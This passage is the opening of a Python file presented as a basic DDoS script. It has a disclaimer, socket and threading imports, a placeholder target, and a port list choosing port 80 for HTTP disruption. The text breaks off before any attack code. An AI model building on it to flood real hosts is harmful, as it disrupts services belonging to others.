DDOS_Script.py

"""
This is not an actual DDOS attack script
It's just a basic script to understand the fundamentals of DDOS attack.
This is nowhere near powerful enough, 
Firstly because this is too slow
Python doesn't actually support multi threading - just simulates it
And this script's got a LOT of security loopholes...

Even if you manage to write a solid script from this,
DDOS-ing IPs is a serious crime.
You're on your own. I am not responsible for any malpractice...
"""
import threading
import socket

target = '<target ip address/domain name>'

"""
Depending on the particular service you're trying to disrupt
you must select a different port...

For example,

Port 20 -- File transfer protocol Data Transfer
Port 21 -- File Transfer protocol Command control
Port 22 -- Secure Shell (SSH)
Port 23 -- Telnet - Remote Login Service
Port 25 -- Simle Mail Transfer Protocol E-mail routing
Port 53 -- Domain Name System (DNS) service
Port 80 -- Hypertext Transfer Protocol (HTTP) used in World Wide Web
Port 143 -- Internet Message Access Protocol (IMAP)
Port 443 -- HTTP Secure (HTTPS) HTTP over TLS/SSL

This script however, only aims to disrupt the HTTP services
of a particular IP so we will use Port 80
